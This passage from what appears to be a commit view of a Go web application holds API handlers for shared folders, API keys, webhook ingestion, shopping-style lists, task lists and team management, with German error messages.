folders, err := s.store.GetSharedFolders(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, folders)
}
func (s *Server) handleCreateSharedFolder(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
Name string `json:"name"`
MountPath string `json:"mountPath"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
folder, err := s.store.CreateSharedFolder(userID, req.Name, req.MountPath)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastToUser(userID, "WORKSPACE_FOLDERS_UPDATED", folder)
writeJSON(w, http.StatusCreated, folder)
}
func (s *Server) handleGetSharedFolderByID(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
folderID := chi.URLParam(r, "id")
folder, err := s.store.GetSharedFolderByID(userID, folderID)
if err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
writeJSON(w, http.StatusOK, folder)
}
func (s *Server) handleDeleteSharedFolder(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
folderID := chi.URLParam(r, "id")
audience := s.store.GetSharedFolderUserIDs(folderID)
if err := s.store.DeleteSharedFolder(userID, folderID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.wsHub.BroadcastToUsers(append(audience, userID), "WORKSPACE_FOLDERS_UPDATED", map[string]string{"folderId": folderID})
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleUpdateFolderMount(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
folderID := chi.URLParam(r, "id")
var req struct {
MountPath string `json:"mountPath"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if err := s.store.UpdateFolderMount(userID, folderID, req.MountPath); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastToUser(userID, "WORKSPACE_FOLDERS_UPDATED", map[string]string{"folderId": folderID, "mountPath": req.MountPath})
writeJSON(w, http.StatusOK, map[string]bool{"updated": true})
}
func (s *Server) handleGetFolderShares(w http.ResponseWriter, r *http.Request) {
folderID := chi.URLParam(r, "id")
shares, err := s.store.GetFolderShares(folderID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, shares)
}
func (s *Server) handleCreateFolderShare(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
folderID := chi.URLParam(r, "id")
var req struct {
TargetType string `json:"targetType"` // team | user
TargetID string `json:"targetId"`
UserId string `json:"userId"`
Email string `json:"email"`
TeamId string `json:"teamId"`
Permission string `json:"permission"` // read | write
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
targetType := req.TargetType
targetIdentifier := req.TargetID
if targetIdentifier == "" {
if req.TeamId != "" {
targetType = "team"
targetIdentifier = req.TeamId
} else if req.UserId != "" {
targetType = "user"
targetIdentifier = req.UserId
} else if req.Email != "" {
targetType = "user"
targetIdentifier = req.Email
}
}
share, err := s.store.CreateFolderShare(userID, folderID, targetType, targetIdentifier, req.Permission)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastToUsers(s.store.GetSharedFolderUserIDs(folderID), "WORKSPACE_FOLDERS_UPDATED", map[string]string{"folderId": folderID})
if docIDs, err := s.store.GetSharedFolderDocIDs(folderID); err == nil {
for _, docID := range docIDs {
s.broadcastDocToAuthorizedUsers(docID, "DOC_CREATED")
}
}
writeJSON(w, http.StatusCreated, share)
}
func (s *Server) handleDeleteFolderShare(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
folderID := chi.URLParam(r, "id")
shareID := chi.URLParam(r, "shareId")
docIDs, _ := s.store.GetSharedFolderDocIDs(folderID)
audienceBefore := s.store.GetSharedFolderUserIDs(folderID)
if err := s.store.DeleteFolderShare(userID, folderID, shareID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
audienceAfter := s.store.GetSharedFolderUserIDs(folderID)
stillAllowed := make(map[string]bool, len(audienceAfter))
for _, uid := range audienceAfter {
stillAllowed[uid] = true
}
s.wsHub.BroadcastToUsers(append(audienceBefore, audienceAfter...), "WORKSPACE_FOLDERS_UPDATED", map[string]string{"folderId": folderID})
for _, docID := range docIDs {
// Users who lost access remove the notes; the rest refresh them
for _, uid := range audienceBefore {
if !stillAllowed[uid] {
s.wsHub.BroadcastToUser(uid, "DOC_DELETED", map[string]string{"id": docID})
}
}
s.broadcastDocToAuthorizedUsers(docID, "DOC_UPDATED")
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// --- WORKSPACE TAGS & PAGES ---
func (s *Server) handleGetWorkspaceTags(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
tags, err := s.store.GetWorkspaceTags(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, tags)
}
func (s *Server) handleGetTagDetails(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
tag := chi.URLParam(r, "tag")
details, err := s.store.GetTagDetails(userID, tag)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, details)
}
func (s *Server) handleUpdateTagPageNote(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
tag := chi.URLParam(r, "tag")
var req struct {
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
updatedAt, err := s.store.UpdateTagPageNote(userID, tag, req.Content)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{
"tag": tag,
"content": req.Content,
"updatedAt": updatedAt,
})
}
+229
View File
@@ -0,0 +1,229 @@
package api
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"strings"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/storage"
)
// --- API KEYS & WEBHOOK INGESTION ---
func (s *Server) handleGetAPIKeys(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
keys, err := s.store.GetAPIKeys(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, keys)
}
func (s *Server) handleCreateAPIKey(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
Name string `json:"name"`
Scopes []string `json:"scopes"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
key, err := s.store.CreateAPIKey(userID, req.Name, req.Scopes)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusCreated, key)
}
func (s *Server) handleDeleteAPIKey(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
keyID := chi.URLParam(r, "id")
if err := s.store.DeleteAPIKey(userID, keyID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// handleWebhookIngest accepts Smarthome / External automation webhooks via ?token=... or X-API-Key or Bearer token
func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
token := r.URL.Query().Get("token")
if token == "" {
token = r.Header.Get("X-API-Key")
}
if token == "" && strings.HasPrefix(r.Header.Get("Authorization"), "Bearer ") {
token = strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ")
}
// Same checks as every other request (revoked/outdated sessions, inactive accounts)
user, keyScopes := s.authenticateToken(token)
if user == nil {
writeError(w, http.StatusUnauthorized, "Ungültiger Webhook-Token oder API-Key")
return
}
if keyScopes != nil {
r = r.WithContext(context.WithValue(r.Context(), apiKeyScopesKey{}, keyScopes))
}
var req struct {
Title string `json:"title"`
Content string `json:"content"`
Text string `json:"text"`
Message string `json:"message"`
Priority string `json:"priority"`
Source string `json:"source"`
Tags []string `json:"tags"`
DueDate string `json:"dueDate"`
DueDate2 string `json:"due_date"`
// Where it goes: "triage" (default, inbox), "task" or "list_item"; "type" is accepted as well
Target string `json:"target"`
Type string `json:"type"`
TaskListID string `json:"taskListId"`
ListID string `json:"listId"`
Category string `json:"category"`
Quantity string `json:"quantity"`
}
bodyBytes, _ := io.ReadAll(r.Body)
if len(bodyBytes) > 0 {
if jsonErr := json.Unmarshal(bodyBytes, &req); jsonErr != nil {
plain := strings.TrimSpace(string(bodyBytes))
if plain != "" {
req.Content = plain
}
}
}
if req.Content == "" {
if req.Text != "" {
req.Content = req.Text
} else if req.Message != "" {
req.Content = req.Message
}
}
dueDate := req.DueDate
if dueDate == "" {
dueDate = req.DueDate2
}
bodyText := strings.TrimSpace(req.Title)
if req.Content != "" {
if bodyText != "" {
bodyText = bodyText + " — " + strings.TrimSpace(req.Content)
} else {
bodyText = strings.TrimSpace(req.Content)
}
}
if bodyText == "" {
writeError(w, http.StatusBadRequest, "Feld 'title', 'content', 'text' oder 'message' ist erforderlich")
return
}
for _, tag := range req.Tags {
cleanTag := strings.TrimPrefix(strings.TrimSpace(tag), "#")
if cleanTag != "" && !strings.Contains(strings.ToLower(bodyText), "#"+strings.ToLower(cleanTag)) {
bodyText += fmt.Sprintf(" #%s", cleanTag)
}
}
target := strings.ToLower(strings.TrimSpace(req.Target))
if target == "" {
target = strings.ToLower(strings.TrimSpace(req.Type))
}
switch target {
case "", "triage", "inbox":
target = "triage"
case "task", "list_item":
default:
writeError(w, http.StatusBadRequest, "Unbekanntes Ziel – erlaubt: triage, task, list_item")
return
}
if !requireDeliveryScope(w, r, target) {
return
}
source := strings.ToLower(strings.TrimSpace(req.Source))
if source == "" {
source = "webhook"
}
if target == "list_item" {
s.ingestListItem(w, user.ID, req.ListID, bodyText, req.Category, req.Quantity)
return
}
if target == "task" {
s.ingestTask(w, user.ID, bodyText, req.Priority, source, dueDate, req.TaskListID)
return
}
if req.Priority == "" {
req.Priority = "high"
}
thought, err := s.store.CreateThought(user.ID, bodyText, req.Priority, source, dueDate)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.wsHub.BroadcastToUsers(s.taskAudience(thought), "TASK_CREATED", thought)
writeJSON(w, http.StatusCreated, map[string]interface{}{
"status": "ingested",
"thought": thought,
})
}
// ingestTask creates a task directly (scope webhook:task), optionally in a task list the owner of
// the key may write to.
func (s *Server) ingestTask(w http.ResponseWriter, userID, content, priority, source, dueDate, taskListID string) {
if priority == "" {
priority = "normal"
}
if taskListID != "" && !s.store.CanEditTaskList(userID, taskListID) {
writeError(w, http.StatusForbidden, storage.ErrTaskListReadOnly.Error())
return
}
thought, err := s.store.CreateThoughtWithDetails(userID, content, priority, source, dueDate, taskListID, "todo", "")
if err != nil {
writeStoreError(w, http.StatusBadRequest, err)
return
}
task, err := s.store.UpdateThoughtTriage(userID, thought.ID, "keep", "task", "", dueDate, taskListID)
if err != nil {
writeStoreError(w, http.StatusBadRequest, err)
return
}
s.wsHub.BroadcastToUsers(s.taskAudience(task), "TASK_CREATED", task)
writeJSON(w, http.StatusCreated, map[string]interface{}{"status": "ingested", "task": task})
}
// ingestListItem adds an item to a list (scope webhook:list) the owner of the key may write to.
func (s *Server) ingestListItem(w http.ResponseWriter, userID, listID, content, category, quantity string) {
if strings.TrimSpace(listID) == "" {
writeError(w, http.StatusBadRequest, "Feld 'listId' ist für Listeneinträge erforderlich")
return
}
if err := s.store.EnsureListItemsWritable(userID, listID, ""); err != nil {
status := http.StatusNotFound
if errors.Is(err, storage.ErrListReadOnly) {
status = http.StatusForbidden
}
writeError(w, status, err.Error())
return
}
item, err := s.store.CreateListItem(listID, content, category, quantity, 0, userID)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "ITEM_CREATED", item)
writeJSON(w, http.StatusCreated, map[string]interface{}{"status": "ingested", "item": item})
}
+301
View File
@@ -0,0 +1,301 @@
package api
import (
"encoding/json"
"errors"
"net/http"
"strings"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/domain"
"github.com/sandrodach/mindsift/internal/storage"
)
// --- REALTIME LISTS & SHARING ---
func (s *Server) handleGetAllLists(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
lists, err := s.store.GetAllListsForUser(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, lists)
}
func (s *Server) handleGetListByID(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
lst, err := s.store.GetListByID(userID, listID)
if err != nil {
writeError(w, http.StatusNotFound, "Liste nicht gefunden")
return
}
writeJSON(w, http.StatusOK, lst)
}
func (s *Server) handleCreateList(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
Title string `json:"title"`
Icon string `json:"icon"`
ListType string `json:"listType"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
lst, err := s.store.CreateList(userID, req.Title, req.Icon, req.ListType)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastListEvent(lst.ID, "LIST_CREATED", lst)
writeJSON(w, http.StatusCreated, lst)
}
func (s *Server) handleDeleteList(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
if err := s.store.DeleteList(userID, listID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "LIST_DELETED", map[string]string{"listId": listID})
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleGetListShares(w http.ResponseWriter, r *http.Request) {
listID := chi.URLParam(r, "id")
shares, err := s.store.GetListShares(listID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, shares)
}
func (s *Server) handleCreateListShare(w http.ResponseWriter, r *http.Request) {
currentUserID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
var req struct {
TargetType string `json:"targetType"` // "user" or "team"
TargetID string `json:"targetId"` // userId/email or teamId
Role string `json:"role"` // "editor" or "viewer"
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
targetType := strings.ToLower(strings.TrimSpace(req.TargetType))
if targetType != "team" {
targetType = "user"
}
role := strings.ToLower(strings.TrimSpace(req.Role))
if role != "viewer" && role != "editor" {
role = "editor"
}
share, err := s.store.AddListShare(currentUserID, listID, targetType, req.TargetID, role)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if targetType == "team" {
members, _ := s.store.GetTeamMembers(share.TargetID)
for _, tm := range members {
s.wsHub.BroadcastToUser(tm.UserID, "LIST_SHARED", share)
}
} else {
s.wsHub.BroadcastToUser(share.TargetID, "LIST_SHARED", share)
}
s.wsHub.BroadcastListEvent(listID, "LIST_SHARED", share)
writeJSON(w, http.StatusCreated, share)
}
func (s *Server) handleDeleteListShare(w http.ResponseWriter, r *http.Request) {
currentUserID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
shareID := chi.URLParam(r, "shareId")
if err := s.store.RemoveListShare(currentUserID, listID, shareID); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "LIST_UNSHARED", map[string]string{
"listId": listID,
"shareId": shareID,
})
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
}
func (s *Server) handleCreateListItem(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
if !s.listItemsWriteAllowed(w, r, "") {
return
}
var req struct {
Content string `json:"content"`
Category string `json:"category"`
Quantity string `json:"quantity"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
item, err := s.store.CreateListItem(listID, req.Content, req.Category, req.Quantity, 0, userID)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "ITEM_CREATED", item)
writeJSON(w, http.StatusCreated, item)
}
func (s *Server) handleToggleListItem(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
itemID := chi.URLParam(r, "itemId")
if !s.listItemsWriteAllowed(w, r, itemID) {
return
}
var req struct {
IsCompleted bool `json:"isCompleted"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
user, _ := s.store.GetUserByID(userID)
userName := "Mitglied"
if user != nil {
userName = user.DisplayName
}
item, err := s.store.ToggleListItem(itemID, req.IsCompleted, userID, userName)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "ITEM_TOGGLED", item)
writeJSON(w, http.StatusOK, item)
}
func (s *Server) handleUpdateListItem(w http.ResponseWriter, r *http.Request) {
listID := chi.URLParam(r, "id")
itemID := chi.URLParam(r, "itemId")
if !s.listItemsWriteAllowed(w, r, itemID) {
return
}
var req struct {
Content *string `json:"content"`
Category *string `json:"category"`
Quantity *string `json:"quantity"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
item, err := s.store.UpdateListItem(itemID, req.Content, req.Category, req.Quantity)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "ITEM_UPDATED", item)
writeJSON(w, http.StatusOK, item)
}
func (s *Server) handleDeleteListItem(w http.ResponseWriter, r *http.Request) {
listID := chi.URLParam(r, "id")
itemID := chi.URLParam(r, "itemId")
if !s.listItemsWriteAllowed(w, r, itemID) {
return
}
_, err := s.store.DeleteListItem(itemID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "ITEM_DELETED", map[string]string{
"itemId": itemID,
"listId": listID,
})
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleClearCompletedItems(w http.ResponseWriter, r *http.Request) {
listID := chi.URLParam(r, "id")
if !s.listItemsWriteAllowed(w, r, "") {
return
}
removed, err := s.store.ClearCompletedListItems(listID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "LIST_CLEARED", map[string]interface{}{
"listId": listID,
"removed": removed,
})
writeJSON(w, http.StatusOK, map[string]int64{"removed": removed})
}
func (s *Server) handleReorderListItems(w http.ResponseWriter, r *http.Request) {
listID := chi.URLParam(r, "id")
if !s.listItemsWriteAllowed(w, r, "") {
return
}
var req struct {
Items []domain.ListItemReorderItem `json:"items"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Invalid request body")
return
}
if err := s.store.ReorderListItems(listID, req.Items); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.wsHub.BroadcastListEvent(listID, "ITEM_REORDERED", map[string]interface{}{
"listId": listID,
"items": req.Items,
})
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
}
// listItemsWriteAllowed answers 404 (no access, or item not in this list) or 403 (viewer) and returns
// false; every request changing list items goes through it.
func (s *Server) listItemsWriteAllowed(w http.ResponseWriter, r *http.Request, itemID string) bool {
err := s.store.EnsureListItemsWritable(auth.GetUserID(r.Context()), chi.URLParam(r, "id"), itemID)
switch {
case err == nil:
return true
case errors.Is(err, storage.ErrListReadOnly):
writeError(w, http.StatusForbidden, err.Error())
default:
writeError(w, http.StatusNotFound, err.Error())
}
return false
}
+158
View File
@@ -0,0 +1,158 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/domain"
)
// --- TASK LISTS ---
func (s *Server) handleGetTaskLists(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
lists, err := s.store.GetTaskLists(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, lists)
}
func (s *Server) handleCreateTaskList(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
SpaceID string `json:"spaceId"`
TeamID string `json:"teamId"`
Title string `json:"title"`
Icon string `json:"icon"`
Color string `json:"color"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
tl, err := s.store.CreateTaskList(userID, req.SpaceID, req.TeamID, req.Title, req.Icon, req.Color)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusCreated, tl)
}
func (s *Server) handleUpdateTaskList(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
var req struct {
Title *string `json:"title"`
Icon *string `json:"icon"`
Color *string `json:"color"`
SpaceID *string `json:"spaceId"`
Columns *[]domain.KanbanColumn `json:"columns"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
audienceBefore := s.store.GetTaskListUserIDs(listID)
tl, err := s.store.UpdateTaskList(userID, listID, req.Title, req.Icon, req.Color, req.SpaceID, req.Columns)
if err != nil {
writeStoreError(w, http.StatusBadRequest, err)
return
}
s.broadcastTaskListChange(listID, audienceBefore, "TASK_LIST_UPDATED")
writeJSON(w, http.StatusOK, tl)
}
func (s *Server) handleDeleteTaskList(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
audienceBefore := s.store.GetTaskListUserIDs(listID)
if err := s.store.DeleteTaskList(userID, listID); err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
s.broadcastTaskListChange(listID, audienceBefore, "TASK_LIST_DELETED")
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleGetTaskListShares(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
if _, err := s.store.GetTaskListByID(userID, listID); err != nil {
writeError(w, http.StatusNotFound, "Aufgabenliste nicht gefunden oder kein Zugriff")
return
}
shares, err := s.store.GetTaskListShares(listID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, shares)
}
func (s *Server) handleCreateTaskListShare(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
tl, err := s.store.GetTaskListByID(userID, listID)
if err != nil || tl == nil {
writeError(w, http.StatusNotFound, "Aufgabenliste nicht gefunden")
return
}
if tl.UserID != userID {
writeError(w, http.StatusForbidden, "Nur der Eigentümer kann die Liste freigeben")
return
}
var req struct {
TargetType string `json:"targetType"` // team | user
TargetID string `json:"targetId"`
Permission string `json:"permission"` // editor | viewer
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
permission := strings.ToLower(strings.TrimSpace(req.Permission))
if permission != "viewer" {
permission = "editor"
}
share, err := s.store.AddTaskListShare(listID, req.TargetType, req.TargetID, permission, userID)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.broadcastTaskListChange(listID, nil, "TASK_LIST_UPDATED")
writeJSON(w, http.StatusCreated, share)
}
func (s *Server) handleDeleteTaskListShare(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
listID := chi.URLParam(r, "id")
shareID := chi.URLParam(r, "shareId")
tl, err := s.store.GetTaskListByID(userID, listID)
if err != nil || tl == nil {
writeError(w, http.StatusNotFound, "Aufgabenliste nicht gefunden")
return
}
if tl.UserID != userID {
writeError(w, http.StatusForbidden, "Nur der Eigentümer kann Freigaben entfernen")
return
}
audienceBefore := s.store.GetTaskListUserIDs(listID)
if err := s.store.RemoveTaskListShare(listID, shareID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.broadcastTaskListChange(listID, audienceBefore, "TASK_LIST_UPDATED")
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// broadcastTaskListChange notifies everyone who could see the list before or can see it now. Only the ID is sent,
// because the list payload depends on the receiver's permission; clients reload their lists.
func (s *Server) broadcastTaskListChange(listID string, audienceBefore []string, event string) {
users := append(audienceBefore, s.store.GetTaskListUserIDs(listID)...)
s.wsHub.BroadcastToUsers(users, event, map[string]string{"id": listID})
}
+204
View File
@@ -0,0 +1,204 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/storage"
)
func (s *Server) isTeamAdmin(userID, teamID string) bool {
if userID == "" || teamID == "" {
return false
}
role, err := s.store.GetTeamMemberRole(teamID, userID)
if err != nil {
return false
}
return role == "admin"
}
func (s *Server) handleCreateTeamDirect(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
Name string `json:"name"`
Description string `json:"description"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if s.store.SharingMode() == storage.SharingPrivate {
writeError(w, http.StatusForbidden, storage.ErrSharingDisabled.Error())
return
}
name := strings.TrimSpace(req.Name)
if name == "" {
writeError(w, http.StatusBadRequest, "Name für die Gruppe ist erforderlich")
return
}
// A group belongs to its creator's organization; members can only come from there
creator, _ := s.store.GetUserByID(userID)
orgID := ""
if creator != nil {
orgID = creator.OrganizationID
}
team, err := s.store.CreateTeam(orgID, name, req.Description)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Automatically add creator to team as group admin
if err := s.store.AddTeamMember(team.ID, userID, "admin"); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
team.Members, _ = s.store.GetTeamMembers(team.ID)
writeJSON(w, http.StatusCreated, team)
}
func (s *Server) handleUpdateTeam(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
teamID := chi.URLParam(r, "id")
if !s.isTeamAdmin(userID, teamID) {
writeError(w, http.StatusForbidden, "Nur Gruppen-Administratoren können die Gruppe bearbeiten")
return
}
var req struct {
Name string `json:"name"`
Description string `json:"description"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
name := strings.TrimSpace(req.Name)
if name == "" {
writeError(w, http.StatusBadRequest, "Name für das Team / die Gruppe ist erforderlich")
return
}
updated, err := s.store.UpdateTeam(teamID, name, req.Description)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, updated)
}
func (s *Server) handleDeleteTeam(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
teamID := chi.URLParam(r, "id")
if !s.isTeamAdmin(userID, teamID) {
writeError(w, http.StatusForbidden, "Nur Gruppen-Administratoren können die Gruppe löschen")
return
}
if err := s.store.DeleteTeam(teamID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleGetUserTeams(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
teams, err := s.store.GetTeamsForUser(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, teams)
}
func (s *Server) handleAddTeamMember(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
teamID := chi.URLParam(r, "id")
if !s.isTeamAdmin(userID, teamID) {
writeError(w, http.StatusForbidden, "Nur Gruppen-Administratoren können Mitglieder hinzufügen")
return
}
var req struct {
UserID string `json:"userId"`
Email string `json:"email"`
Role string `json:"role"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
targetUserID := strings.TrimSpace(req.UserID)
if targetUserID == "" && strings.TrimSpace(req.Email) != "" {
if u, err := s.store.GetUserByEmail(req.Email); err == nil && u != nil {
targetUserID = u.ID
}
}
if targetUserID == "" && strings.TrimSpace(req.Email) == "" {
writeError(w, http.StatusBadRequest, "Benutzer-ID oder E-Mail erforderlich")
return
}
// Only people the group admin can see; unknown and invisible look the same
if targetUserID == "" || !s.store.CanShareWith(userID, "user", targetUserID) {
writeError(w, http.StatusNotFound, storage.ErrTargetNotFound.Error())
return
}
role := strings.ToLower(strings.TrimSpace(req.Role))
if role != "admin" && role != "member" {
role = "member"
}
if err := s.store.AddTeamMember(teamID, targetUserID, role); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
members, _ := s.store.GetTeamMembers(teamID)
writeJSON(w, http.StatusOK, members)
}
func (s *Server) handleUpdateTeamMemberRole(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
teamID := chi.URLParam(r, "id")
memberUserID := chi.URLParam(r, "userId")
if !s.isTeamAdmin(userID, teamID) {
writeError(w, http.StatusForbidden, "Nur Gruppen-Administratoren können Mitgliedsrollen ändern")
return
}
var req struct {
Role string `json:"role"`
}
